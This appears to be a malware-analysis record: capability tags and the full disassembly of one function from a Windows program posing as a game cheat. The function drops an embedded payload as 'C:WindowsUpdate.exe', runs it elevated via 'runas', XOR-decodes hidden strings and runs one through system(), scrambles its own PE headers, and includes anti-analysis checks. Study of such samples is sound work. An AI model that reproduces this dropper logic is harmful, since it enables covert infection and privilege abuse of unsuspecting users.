Function at 0x140017830
Capabilities:
Allocate or change rwx memory
Create process on windows
Create thread
Encode data using xor
Execute command
Spawn thread to rwx shellcode

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x118]
sub rsp, 0x210
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
mov rax, qword [0x14011b040]
xor rax, rsp
mov qword [rbp + 0xe0], rax
xor esi, esi
mov ecx, 8
call fcn.1400cb820
lea rcx, [0x140017380]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rbp - 0x40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
mov r9, rax
lea r8, [0x1400122a0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp - 0x48], rax
test rax, rax
je 0x140017fff
call fcn.14001c560
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
je 0x14001798b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
mov qword [rsp + 0x70], rcx
mov ecx, 8
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, qword [rsp + 0x70]
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
mov edi, esi
cmp si, word [rcx + 6]
jae 0x140017951
nop word [rax + rax]
lea r9, [rbp - 0x70]
mov edx, 0x28
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov byte [rbx], al
mov byte [rbx + 1], 0
mov qword [rbx + 8], rsi
lea r9, [rbp - 0x70]
mov r8d, dword [rbp - 0x70]
mov edx, 0x28
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
inc edi
add rbx, 0x28
mov rax, qword [rsp + 0x70]
movzx ecx, word [rax + 6]
cmp edi, ecx
jb 0x140017900
lea r9, [rsp + 0x60]
mov edx, 8
mov r8d, 0x40
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov qword [rsp + 0x70], rsi
lea r9, [rsp + 0x60]
mov r8d, dword [rsp + 0x60]
mov edx, 8
lea rcx, [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.1400161e0
lea rcx, [rsp + 0x70]
call fcn.1400139e0
test al, al
je 0x1400179aa
mov qword [0], 1
lea rcx, [rsp + 0x70]
call fcn.1400139e0
test al, al
je 0x1400179c4
mov qword [0], 1
lea rcx, [rsp + 0x70]
call fcn.1400139e0
test al, al
je 0x1400179de
mov qword [0], 1
lea rcx, [rsp + 0x70]
call fcn.1400139e0
test al, al
je 0x1400179f8
mov qword [0], 1
lea rcx, [rsp + 0x70]
call fcn.1400139e0
test al, al
je 0x140017a12
mov qword [0], 1
call fcn.140016540
call fcn.140014850
call fcn.1400145a0
call fcn.140013de0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], rsi
mov r8d, 0x15
lea rdx, str.C:WindowsUpdate.exe
lea rcx, [rbp - 0x68]
call fcn.1400041c0
nop
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp - 0x30]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova rdx, qword [rbp - 0x68]
lea rcx, [rbp - 0x30]
call fcn.14000f280
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x30], rax
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x34], edx
mov r8d, 0xec00
lea rdx, [0x14011b100]
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x28]
call fcn.140010430
test rax, rax
jne 0x140017adc
mov rax, qword [rbp - 0x30]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x30]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea r8, [rbp - 0x68]
cmp qword [rbp - 0x50], 0xf
cmova r8, qword [rbp - 0x68]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], rsi
xor r9d, r9d
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov r8d, 0x1c
lea rdx, str.someone_has_opened_the_cheat
lea rcx, [rsp + 0x70]
call fcn.1400041c0
nop
lea rcx, [rsp + 0x70]
call fcn.140016b50
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140017b78
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017b73
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140017f54
call fcn.1400cb864
movups xmm0, xmmword [0x1401058d0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x1401058e0]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x1401058f0]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x1401058f8]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x1401058fc]
mov byte [rsp + 0x5c], al
mov ecx, esi
movdqa xmm6, xmmword [0x1401077a0]
mov ebx, dword [0x14011b098]
cmp ebx, 2
jl 0x140017cec
movdqa xmm5, xmmword [0x1401076c0]
movdqa xmm4, xmmword [0x140107ca0]
movdqa xmm7, xmmword [0x140107760]
movdqa xmm0, xmmword [0x140107850]
movdqa xmmword [rsp + 0x70], xmm0
lea rdx, [rsp + 0x30]
mov r8d, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, ecx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx]
xorps xmm2, xmm0
movd dword [rdx], xmm2
lea eax, [rcx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rdx + 4]
xorps xmm3, xmm0
movd dword [rdx + 4], xmm3
add ecx, 8
lea rdx, [rdx + 8]
cmp ecx, 0x28
jl 0x140017c00
cmp ecx, 0x2d
jge 0x140017d2e
movsxd rax, ecx
lea r8, [rsp + 0x30]
add r8, rax
nop word [rax + rax]
mov eax, 0x92492493
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
sub al, dl
add al, 0x36
xor byte [r8], al
inc ecx
lea r8, [r8 + 1]
cmp ecx, 0x2d
jl 0x140017d00
lea rdx, [rsp + 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140018110
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
movups xmm0, xmmword [str.ECYKNeTIJO3ml__5__.ea9]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x140105840]
movups xmmword [rsp + 0x40], xmm1
mov eax, dword [0x140105850]
mov dword [rsp + 0x50], eax
mov r8d, esi
cmp ebx, 2
jl 0x140017e9f
movdqa xmm5, xmmword [0x1401076c0]
movdqa xmm4, xmmword [0x140107ca0]
movdqa xmm7, xmmword [0x140107760]
movdqa xmm0, xmmword [0x140107850]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x30]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
andps xmm3, xmm6
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140017db0
cmp r8d, 0x24
jge 0x140017ee3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140017eb0
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rsi
mov r8d, 0x26
lea rdx, str.someone_successfully_loaded_the_cheat.
lea rcx, [rsp + 0x70]
call fcn.1400041c0
nop
lea rcx, [rsp + 0x70]
call fcn.140016b50
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 0xf
jbe 0x140017f60
inc rdx
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017f5b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017f5b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cb864
call fcn.14000ade0
nop
lea rcx, [rbp - 0x30]
call fcn.140009cc0
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 0xf
jbe 0x140017fae
inc rdx
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017fa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017fa9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400cb864
mov qword [rbp - 0x58], rsi
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
cmp dword [rbp - 0x40], 0
je 0x140017fcb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor eax, eax
mov rcx, qword [rbp + 0xe0]
xor rcx, rsp
call fcn.1400cb800
lea r11, [rsp + 0x210]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop rbp
ret
mov dword [rbp - 0x40], esi
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3